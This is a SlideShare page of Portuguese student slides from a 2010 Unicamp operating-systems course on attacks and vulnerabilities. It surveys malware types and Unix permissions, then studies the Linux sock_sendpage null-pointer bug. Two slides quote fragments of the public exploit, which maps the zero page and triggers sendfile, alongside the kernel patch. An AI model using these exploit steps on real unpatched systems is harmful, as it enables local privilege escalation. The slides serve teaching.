Ataques e Vulnerabilidades Prof. Islene Calciolari Garcia 1° semestre de 2010 MC 514 Sistemas Operacionais: Teoria e Prática
Introdução Formas de ataque Aprofundamento SO: Defesa e Proteção Prática: O Bug de 8 Anos Índice Universidade Estadual de ...
Introdução Formas de ataque Aprofundamento SO: Defesa e Proteção Prática: O Bug de 8 Anos Índice Universidade Estadual de ...
<ul><li>O que são vírus </li></ul><ul><li>Princípios básicos </li></ul><ul><li>Modus Operandi </li></ul><ul><ul><li>Vírus ...
<ul><li>Ataques e vulnerabilidades </li></ul><ul><ul><li>Conceito </li></ul></ul><ul><ul><li>Origens de vulnerabilidades <...
Formas de ataque Aprofundamento SO: Defesa e Proteção Prática: O Bug de 8 Anos Introdução Índice Universidade Estadual de ...
<ul><li>Spywares </li></ul><ul><li>Adwares </li></ul><ul><li>Ransomwares </li></ul><ul><li>Worms </li></ul><ul><li>Trojans...
<ul><li>Recolhem informações e transmite informação. </li></ul><ul><li>Não costumam se alto duplicar.  </li></ul><ul><li>M...
<ul><li>Costuma-se incluir os adwares no estudo dos spywares </li></ul><ul><li>Trazem para a tela do usuário algum tipo de...
<ul><li>Criptografam todo ou parte do conteúdo do disco rígido.  </li></ul><ul><li>Exigem da vítima, um pagamento pelo &qu...
<ul><li>Programa auto-replicante. </li></ul><ul><li>Usa a rede para enviar cópias de si mesmo para outros, sem nenhuma int...
<ul><li>Pretende se passar por ser aplicação benigna. </li></ul><ul><li>Faz algo que o usuário não espera. </li></ul><ul><...
<ul><li>Sequestram navegadores de Internet.  </li></ul><ul><li>Altera a página inicial do browser, exibe propagandas, inst...
<ul><li>Ficam escondidos no sistema operacional. </li></ul><ul><li>Desenvolvidos para meios ilícitos, como, por exemplo, r...
<ul><li>Escondem processos, arquivos ou dados do sistema do Sistema Operacional. </li></ul><ul><li>Ajudam intrusos a mante...
Aprofundamento SO: Defesa e Proteção Prática: O Bug de 8 Anos Introdução Formas de ataque Índice Universidade Estadual de ...
Devido ao grande número de formas de ataque, optamos pela escolha de duas delas: Rootkits e Spyware, a fim de aprofundar o...
<ul><li>O que são? </li></ul><ul><li>Qual sua intenção? </li></ul><ul><li>Diferenças na infecção </li></ul><ul><ul><li>Win...
<ul><li>O que são? </li></ul><ul><li>Para que são projetados? </li></ul><ul><li>Formas de infecção </li></ul><ul><ul><li>P...
Introdução Formas de ataque Aprofundamento SO: Defesa e Proteção Prática: O Bug de 8 Anos Índice Universidade Estadual de ...
<ul><li>Sistema de permissões </li></ul><ul><li>Dificuldades oferecidas pelo GNU/Linux </li></ul><ul><li>Diferença DOS/Win...
<ul><li>O arquivo ao ser criado recebe uma permissão determinada pelo processo que o gerou. Essa permissão pode ser de trê...
As principais chamadas de sistemas utilizadas e suas características são apresentadas a seguir: chmod (path, mode) É a mai...
<ul><li>access(path, mode) </li></ul><ul><li>Esse system call é necessário para evitar brechas de segurança, em programas ...
<ul><li>getuid( ) </li></ul><ul><li>Retorna o valor real do UID do usuário. </li></ul><ul><li>geteuid( ) </li></ul><ul><li...
<ul><li>chown(path, owner, group) </li></ul><ul><li>Só pode ser utilizado pela root, muda o UID e o GID do arquivo.  </li>...
Introdução Formas de ataque Aprofundamento SO: Defesa e Proteção Prática: O Bug de 8 Anos Índice Universidade Estadual de ...
<ul><li>Acesso a privilégios locais </li></ul><ul><li>Distribuições vulneráveis: </li></ul><ul><ul><li>Kernel 2.4 (2.4.4 a...
<ul><li>Estrutura  proto_ops  do socket: </li></ul><ul><ul><li>Ponteiros para funções; </li></ul></ul><ul><ul><li>Problema...
<ul><li>Escalação de privilégio local: </li></ul><ul><ul><li>Mapeamento no endereço zero; </li></ul></ul><ul><ul><li>Acion...
<ul><li>Corrigir os protocolos? </li></ul><ul><li>Corrigir  sock_sendpage </li></ul><ul><ul><li>Verifica ponteiros nulos <...
Prática A solução Universidade Estadual de Campinas  -  Instituto de Computação  -  MC 514 static ssize_t  sock_sendpage (...
<ul><li>Teste no kernel antigo; </li></ul><ul><ul><li>Fedora 11 (kernel 2.6.29.4) </li></ul></ul><ul><li>Teste no kernel c...
Prática Simulação Universidade Estadual de Campinas  -  Instituto de Computação  -  MC 514 mem = mmap(NULL, 0x1000, PROT_R...
Prática Simulação Universidade Estadual de Campinas  -  Instituto de Computação  -  MC 514 char template[] = &quot;/tmp/se...
<ul><li>Teste no kernel antigo; </li></ul><ul><ul><li>Fedora 11 (kernel 2.6.29.4) </li></ul></ul><ul><li>Teste no kernel c...
<ul><li>Teste no kernel antigo; </li></ul><ul><ul><li>Fedora 11 (kernel 2.6.29.4) </li></ul></ul><ul><li>Teste no kernel c...
? Dúvidas Universidade Estadual de Campinas  -  Instituto de Computação  -  MC 514
Obrigados João Carlos Maggiotto  R.A.: 081721 Mariana Mendes Caspirro  R.A.: 082204 Murilo Fossa Vicentini  R.A.: 082335 P...
Próximos SlideShares
Carregando em…5
×

Slides ataques e vulnerabilidades

2.968 visualizações

Publicada em

0 comentários
2 gostaram
Estatísticas
Notas
  • Seja o primeiro a comentar

Sem downloads
Visualizações
Visualizações totais
2.968
No SlideShare
0
A partir de incorporações
0
Número de incorporações
1
Ações
Compartilhamentos
0
Downloads
106
Comentários
0
Gostaram
2
Incorporações 0
Nenhuma incorporação

Nenhuma nota no slide

Slides ataques e vulnerabilidades

  1. 1. Ataques e Vulnerabilidades Prof. Islene Calciolari Garcia 1° semestre de 2010 MC 514 Sistemas Operacionais: Teoria e Prática
  2. 2. Introdução Formas de ataque Aprofundamento SO: Defesa e Proteção Prática: O Bug de 8 Anos Índice Universidade Estadual de Campinas - Instituto de Computação - MC 514
  3. 3. Introdução Formas de ataque Aprofundamento SO: Defesa e Proteção Prática: O Bug de 8 Anos Índice Universidade Estadual de Campinas - Instituto de Computação - MC 514
  4. 4. <ul><li>O que são vírus </li></ul><ul><li>Princípios básicos </li></ul><ul><li>Modus Operandi </li></ul><ul><ul><li>Vírus de disco </li></ul></ul><ul><ul><li>Vírus de arquivo </li></ul></ul><ul><ul><li>Vírus Mult-partite </li></ul></ul><ul><li>Autodefesa </li></ul>Introdução Universidade Estadual de Campinas - Instituto de Computação - MC 514
  5. 5. <ul><li>Ataques e vulnerabilidades </li></ul><ul><ul><li>Conceito </li></ul></ul><ul><ul><li>Origens de vulnerabilidades </li></ul></ul><ul><ul><li>Motivos dos ataques </li></ul></ul><ul><ul><li>Tipos de ataques </li></ul></ul><ul><ul><ul><li>Acesso físico </li></ul></ul></ul><ul><ul><ul><li>Intercepção de comunicações </li></ul></ul></ul><ul><ul><ul><li>Recusas de serviço </li></ul></ul></ul><ul><ul><ul><li>Intrusões </li></ul></ul></ul><ul><ul><ul><li>Engenharia Social </li></ul></ul></ul><ul><ul><ul><li>Alçapões </li></ul></ul></ul>Introdução Universidade Estadual de Campinas - Instituto de Computação - MC 514
  6. 6. Formas de ataque Aprofundamento SO: Defesa e Proteção Prática: O Bug de 8 Anos Introdução Índice Universidade Estadual de Campinas - Instituto de Computação - MC 514
  7. 7. <ul><li>Spywares </li></ul><ul><li>Adwares </li></ul><ul><li>Ransomwares </li></ul><ul><li>Worms </li></ul><ul><li>Trojans </li></ul><ul><li>Hijackers </li></ul><ul><li>Keylogger </li></ul><ul><li>Rootkits </li></ul>Formas de Ataque Universidade Estadual de Campinas - Instituto de Computação - MC 514
  8. 8. <ul><li>Recolhem informações e transmite informação. </li></ul><ul><li>Não costumam se alto duplicar. </li></ul><ul><li>Muitos vírus transportam spywares visando roubar certos dados confidenciais. </li></ul>Formas de Ataque Universidade Estadual de Campinas - Instituto de Computação - MC 514 Spywares
  9. 9. <ul><li>Costuma-se incluir os adwares no estudo dos spywares </li></ul><ul><li>Trazem para a tela do usuário algum tipo de propaganda. </li></ul><ul><li>Vem embutidos em diversos programas de download livre. </li></ul>Formas de Ataque Universidade Estadual de Campinas - Instituto de Computação - MC 514 Adwares
  10. 10. <ul><li>Criptografam todo ou parte do conteúdo do disco rígido. </li></ul><ul><li>Exigem da vítima, um pagamento pelo &quot;resgate&quot; dos dados. </li></ul><ul><li>São ferramentas para crimes de extorsão e são extremamente ilegais. </li></ul>Formas de Ataque Universidade Estadual de Campinas - Instituto de Computação - MC 514 Ransomwares
  11. 11. <ul><li>Programa auto-replicante. </li></ul><ul><li>Usa a rede para enviar cópias de si mesmo para outros, sem nenhuma intervenção do usuário. </li></ul><ul><li>Não é necessário anexá-lo em programas existentes. </li></ul>Formas de Ataque Universidade Estadual de Campinas - Instituto de Computação - MC 514 Worms
  12. 12. <ul><li>Pretende se passar por ser aplicação benigna. </li></ul><ul><li>Faz algo que o usuário não espera. </li></ul><ul><li>Trojans não se replicam. </li></ul><ul><li>Atacam de forma direta. </li></ul>Formas de Ataque Universidade Estadual de Campinas - Instituto de Computação - MC 514 Trojans
  13. 13. <ul><li>Sequestram navegadores de Internet. </li></ul><ul><li>Altera a página inicial do browser, exibe propagandas, instala barras de ferramentas no navegador. </li></ul><ul><li>Impede acesso a determinados sites. </li></ul>Formas de Ataque Universidade Estadual de Campinas - Instituto de Computação - MC 514 Hijackers
  14. 14. <ul><li>Ficam escondidos no sistema operacional. </li></ul><ul><li>Desenvolvidos para meios ilícitos, como, por exemplo, roubo de dados pessoais. </li></ul><ul><li>Capturam as teclas e podem também capturar a tela. </li></ul>Formas de Ataque Universidade Estadual de Campinas - Instituto de Computação - MC 514 Keyloggers
  15. 15. <ul><li>Escondem processos, arquivos ou dados do sistema do Sistema Operacional. </li></ul><ul><li>Ajudam intrusos a manter acesso ao sistema enquanto evita a detecção. </li></ul><ul><li>Existem rootkits para vários Sistemas Operacionais. </li></ul><ul><li>Freqüentemente modificam partes do Sistema Operacional ou instalam-se em drivers ou módulos do Kernel. </li></ul>Formas de Ataque Universidade Estadual de Campinas - Instituto de Computação - MC 514 Rootkits
  16. 16. Aprofundamento SO: Defesa e Proteção Prática: O Bug de 8 Anos Introdução Formas de ataque Índice Universidade Estadual de Campinas - Instituto de Computação - MC 514
  17. 17. Devido ao grande número de formas de ataque, optamos pela escolha de duas delas: Rootkits e Spyware, a fim de aprofundar o conhecimento, estas são descritas a seguir. Aprofundamento Universidade Estadual de Campinas - Instituto de Computação - MC 514
  18. 18. <ul><li>O que são? </li></ul><ul><li>Qual sua intenção? </li></ul><ul><li>Diferenças na infecção </li></ul><ul><ul><li>Windows </li></ul></ul><ul><ul><li>Linux/UNIX </li></ul></ul><ul><li>As três gerações </li></ul>Aprofundamento Rootkits Universidade Estadual de Campinas - Instituto de Computação - MC 514
  19. 19. <ul><li>O que são? </li></ul><ul><li>Para que são projetados? </li></ul><ul><li>Formas de infecção </li></ul><ul><ul><li>Programa de instalação sobreposto </li></ul></ul><ul><ul><li>Download guiado </li></ul></ul><ul><ul><li>Adicionador de melhorias do broswer </li></ul></ul><ul><ul><li>Mascarado como um anti-spyware </li></ul></ul>Aprofundamento Spyware Universidade Estadual de Campinas - Instituto de Computação - MC 514
  20. 20. Introdução Formas de ataque Aprofundamento SO: Defesa e Proteção Prática: O Bug de 8 Anos Índice Universidade Estadual de Campinas - Instituto de Computação - MC 514
  21. 21. <ul><li>Sistema de permissões </li></ul><ul><li>Dificuldades oferecidas pelo GNU/Linux </li></ul><ul><li>Diferença DOS/Windows vs. Linux </li></ul><ul><li>Chamadas de sistema em segurança </li></ul><ul><li>Execução em sistemas específicos </li></ul>Defesa Universidade Estadual de Campinas - Instituto de Computação - MC 514
  22. 22. <ul><li>O arquivo ao ser criado recebe uma permissão determinada pelo processo que o gerou. Essa permissão pode ser de três tipos, r, w e x, respectivamente, leitura, escrita e execução. As permissões são atribuídas ao usuário, seu grupo e outros usuários, desse modo 9 bits são suficientes para representação do direito de acesso. Alguns exemplos são mostrados a seguir: </li></ul>Defesa Universidade Estadual de Campinas - Instituto de Computação - MC 514 Sistemas de permissões Valor Binário Transcrição Significado 111000000 rwx – – – – – – Dono pode ler, escrever e executar 111111000 rwxrwx– – – Dono e Grupo podem ler, escrever e executar 110100000 rw–r– – – – – Dono pode ler e escrever, grupo poder ler 110100100 rw–r– –r– – Dono pode ler e escrever, outros poder ler 111101101 rwxr–xr–x Dono pode fazer tudo, outros ler e executar 000000000 – – – – – – – – – Ninguém possui nenhum tipo de acesso 000000111 – – – – – – rwx Somente pessoas de fora possuem acesso
  23. 23. As principais chamadas de sistemas utilizadas e suas características são apresentadas a seguir: chmod (path, mode) É a mais utilizada, ela serve para modificar o modo de proteção. Por exemplo: s = chmod(&quot;usr/ast/newgame&quot;, 0755); seta newgame para rwxr–xr–x, assim todos podem executa-lo, vale notar q o valor 0755 é um número em octal, que é conveniente pois os bits de proteção vem em grupos de 3. Somente o dono do arquivo e a root podem trocar esses bits de proteção. Defesa Universidade Estadual de Campinas - Instituto de Computação - MC 514 Chamadas de sistemas
  24. 24. <ul><li>access(path, mode) </li></ul><ul><li>Esse system call é necessário para evitar brechas de segurança, em programas que possuem o SETUID setados e cujos donos são a root. Esses programas podem executar qualquer ação, por isso, às vezes é necessário checar se o usuário está permitido a realizar o acesso. Para isso o a chamada de sistema access verifica o UID e o GID real do usuário. </li></ul>Defesa Universidade Estadual de Campinas - Instituto de Computação - MC 514 Chamadas de sistemas
  25. 25. <ul><li>getuid( ) </li></ul><ul><li>Retorna o valor real do UID do usuário. </li></ul><ul><li>geteuid( ) </li></ul><ul><li>Retorna o valor efetivo do UID do usuário. </li></ul><ul><li>getgid( ) </li></ul><ul><li>Retorna o valor real do GID do usuário. </li></ul><ul><li>getegid( ) </li></ul><ul><li>Retorna o valor efetivo do GID do usuário. </li></ul>Defesa Universidade Estadual de Campinas - Instituto de Computação - MC 514 Chamadas de sistemas
  26. 26. <ul><li>chown(path, owner, group) </li></ul><ul><li>Só pode ser utilizado pela root, muda o UID e o GID do arquivo. </li></ul><ul><li>setuid(uid) </li></ul><ul><li>Só pode ser utilizado pela root, muda o UID de um processo. </li></ul><ul><li>setgid(gid) </li></ul><ul><li>Só pode ser utilzado pela root, muda o GID de um processo. </li></ul>Defesa Universidade Estadual de Campinas - Instituto de Computação - MC 514 Chamadas de sistemas
  27. 27. Introdução Formas de ataque Aprofundamento SO: Defesa e Proteção Prática: O Bug de 8 Anos Índice Universidade Estadual de Campinas - Instituto de Computação - MC 514
  28. 28. <ul><li>Acesso a privilégios locais </li></ul><ul><li>Distribuições vulneráveis: </li></ul><ul><ul><li>Kernel 2.4 (2.4.4 até 2.4.37.4, inclusive); </li></ul></ul><ul><ul><li>Kernel 2.6 (2.6.0 até 2.6.30.4, inclusive); </li></ul></ul><ul><ul><li>Todas as arquiteturas desde maio/2001 </li></ul></ul>Prática A vulnerabilidade Universidade Estadual de Campinas - Instituto de Computação - MC 514
  29. 29. <ul><li>Estrutura proto_ops do socket: </li></ul><ul><ul><li>Ponteiros para funções; </li></ul></ul><ul><ul><li>Problema: lidar com operações indisponíveis; </li></ul></ul><ul><li>Exemplo: sock_sendpage </li></ul><ul><li>Fragilidade no código do kernel </li></ul>Prática A vulnerabilidade Universidade Estadual de Campinas - Instituto de Computação - MC 514
  30. 30. <ul><li>Escalação de privilégio local: </li></ul><ul><ul><li>Mapeamento no endereço zero; </li></ul></ul><ul><ul><li>Acionamento de operação vulnerável; </li></ul></ul><ul><li>Total controle do sistema! </li></ul>Prática Como aproveitar Universidade Estadual de Campinas - Instituto de Computação - MC 514
  31. 31. <ul><li>Corrigir os protocolos? </li></ul><ul><li>Corrigir sock_sendpage </li></ul><ul><ul><li>Verifica ponteiros nulos </li></ul></ul><ul><li>Patch disponibilizado em agosto/2009 </li></ul><ul><ul><li>8 anos depois... </li></ul></ul>Prática A solução Universidade Estadual de Campinas - Instituto de Computação - MC 514
  32. 32. Prática A solução Universidade Estadual de Campinas - Instituto de Computação - MC 514 static ssize_t sock_sendpage (struct file *file, struct page *page,  int offset, size_t size, loff_t *ppos, int more) {         struct socket *sock; (...)         return sock->ops->sendpage(sock, page, offset, size, flags); } int kernel_sendpage (struct socket *sock, struct page *page, int offset, size_t size, int flags) {         if (sock->ops->sendpage)                 return sock->ops->sendpage(sock, page, offset, size, flags);         return sock_no_sendpage(sock, page, offset, size, flags); }
  33. 33. <ul><li>Teste no kernel antigo; </li></ul><ul><ul><li>Fedora 11 (kernel 2.6.29.4) </li></ul></ul><ul><li>Teste no kernel com patch; </li></ul><ul><ul><li>Ubuntu 9.10 </li></ul></ul>Prática Simulação Universidade Estadual de Campinas - Instituto de Computação - MC 514
  34. 34. Prática Simulação Universidade Estadual de Campinas - Instituto de Computação - MC 514 mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); if (mem != NULL) { mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); Kernel corrigido if (mem != NULL) { fprintf(stdout, &quot;UNABLE TO MAP ZERO PAGE! &quot;); return 1; } } fprintf(stdout, &quot; [+] MAPPED ZERO PAGE! &quot;); Kernel antigo
  35. 35. Prática Simulação Universidade Estadual de Campinas - Instituto de Computação - MC 514 char template[] = &quot;/tmp/sendfile.XXXXXX&quot;; int in, out; if ((in = mkstemp(template)) < 0) { fprintf(stdout, &quot;failed to open input descriptor, %m &quot;); return 1; } unlink(template); d = 0; for (; domains[d][0] != DOMAINS_STOP; d++) { if ((out = socket(domains[d][0], domains[d][1], domains[d][2])) >= 0) break; } if (out < 0) { fprintf(stdout, &quot;unable to find a vulnerable domain, sorry &quot;); return 1; } ftruncate(in, getpagesize()); sendfile(out, in, NULL, getpagesize());
  36. 36. <ul><li>Teste no kernel antigo; </li></ul><ul><ul><li>Fedora 11 (kernel 2.6.29.4) </li></ul></ul><ul><li>Teste no kernel com patch; </li></ul><ul><ul><li>Ubuntu 9.10 </li></ul></ul>Prática Simulação Universidade Estadual de Campinas - Instituto de Computação - MC 514
  37. 37. <ul><li>Teste no kernel antigo; </li></ul><ul><ul><li>Fedora 11 (kernel 2.6.29.4) </li></ul></ul><ul><li>Teste no kernel com patch; </li></ul><ul><ul><li>Ubuntu 9.10 </li></ul></ul>Prática Simulação Universidade Estadual de Campinas - Instituto de Computação - MC 514
  38. 38. ? Dúvidas Universidade Estadual de Campinas - Instituto de Computação - MC 514
  39. 39. Obrigados João Carlos Maggiotto R.A.: 081721 Mariana Mendes Caspirro R.A.: 082204 Murilo Fossa Vicentini R.A.: 082335 Patricia Kawaguchi Cesar R.A.: 085984 Ataques e Vulnerabilidades

×